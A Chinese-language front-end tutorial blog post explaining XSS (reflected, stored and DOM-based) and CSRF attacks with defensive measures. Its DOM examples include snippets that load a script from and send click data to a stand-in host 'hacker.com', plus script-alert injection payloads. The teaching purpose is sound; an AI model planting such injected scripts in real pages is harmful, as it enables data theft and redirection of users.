前端网络---网络安全

「前端食堂」想进大厂必须要知道的Web安全问题 - 掘金

网络安全之xss攻击

XSS 攻击是跨站脚本攻击,是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息如 cookie 等。

XSS 的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行。

黑客利用xss攻击可能做的事情

1、获取页面的数据,例如,dom、cookie、localStorage

2、dos攻击。发送合理请求,占用服务器资源,使用户无法访问服务器

3、破坏页面结构

4、流量劫持,将链接指向某个网站

xss攻击可以分为反射型、存储型、DOM型

反射型

恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又将这部分返回给用户,恶意脚本在页面中被执行。一般发生在前后端一体的应用中,服务端逻辑会改变最终的网页代码。

会和后段有交互

存储型

黑客将恶意 JavaScript 脚本长期保存在服务端数据库中,用户一旦访问相关页面数据,恶意脚本就会被执行。常见于搜索、微博、社区贴吧评论等。会和后段有交互

DOM型

黑客将恶意 JavaScript 脚本注入到web应用程序中,通常是指攻击者通过操作页面的DOM对象模型来改变页面的内容或行为,从而可能实施攻击。仅仅发生在前端

xss攻击的案例

反射型攻击的案例

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=\<script>alert('foolish!')</script>!

接收者接收消息显示的时候将会弹出警告窗口

试想如果不是弹出弹窗而是获取你的cookie或者任何的登录标识呢?是不是就可以拿到你的信息来做一些事情呢?

存储型攻击的案例

比如用户评论功能,输入一段<script>alert('xss')</script>脚本,并提交保存到服务器,由于评论具有公开性,是不是每一个进入到该网站查看评论都可以被攻击?

DOM型攻击的案例

javascript 复制代码
var script = document.createElement('script');
script.src = 'http://hacker.com/malicious-code.js';
document.head.appendChild(script);
javascript 复制代码
document.querySelector('a').href = 'http://hacker.com';
document.querySelector('form').action = 'http://hacker.com';
javascript 复制代码
document.addEventListener('click', function(event) {
    // 发送数据到恶意网址
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://hacker.com/log-clicks', true);
    xhr.send('x=' + event.clientX + '&y=' + event.clientY);
});

比如以上代码,通过操作dom,或者监听用户的点击动作,可以添加一些有害脚本

xss三种攻击类型的区别

1、反射型的攻击存在URL中

2、存储型的攻击存在数据库中

3、DOM型的攻击主要利用web端的代码漏洞,使浏览器执行恶意代码,属于js的漏洞

xss攻击防范方法

1、输入格式校验

2、过滤<script>、<iframe>等标签

3、对要渲染的内容进行编码转义

4、限制输入长度

5、对cookie设置httphttp only

网络安全之csrf攻击

CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

csrf攻击防范方法

1、尽量使用post请求

2、加入验证码

3、验证Referer

4、Anti SCRF Token

5、加入自定义的Header

一些请求头的设置

javascript 复制代码
sec-fetch-site :表示一个请求发起的来源和目标资源来源之间的关系
 cross-site:跨域请求
 same-origin:同源请求
 none: 不是同源也不是跨域,请求与任意上下文无关。比如浏览器窗口中拖放一个文件

sec-fetch-user: 表示一个导航请求是否由用户激活触发(如用户主动点击鼠标、键盘)。

Sec-Fetch-User: ?0   否                
Sec-Fetch-User: ?1   是
相关推荐
志存高远66几秒前
Kotlin 的 suspend 关键字
前端
www_pp_12 分钟前
# 构建词汇表:自然语言处理中的关键步骤
前端·javascript·自然语言处理·easyui
天天扭码1 小时前
总所周知,JavaScript中有很多函数定义方式,如何“因地制宜”?(ˉ﹃ˉ)
前端·javascript·面试
一个专注写代码的程序媛1 小时前
为什么vue的key值,不用index?
前端·javascript·vue.js
장숙혜1 小时前
ElementUi的Dropdown下拉菜单的详细介绍及使用
前端·javascript·vue.js
火柴盒zhang1 小时前
websheet之 编辑器
开发语言·前端·javascript·编辑器·spreadsheet·websheet
某公司摸鱼前端1 小时前
uniapp 仿企微左边公司切换页
前端·uni-app·企业微信
WKK_1 小时前
uniapp自定义封装tabbar
前端·javascript·小程序·uni-app
国科安芯1 小时前
面向高性能运动控制的MCU:架构创新、算法优化与应用分析
单片机·嵌入式硬件·安全·架构·机器人·汽车·risc-v
莫问alicia1 小时前
react 常用钩子 hooks 总结
前端·javascript·react.js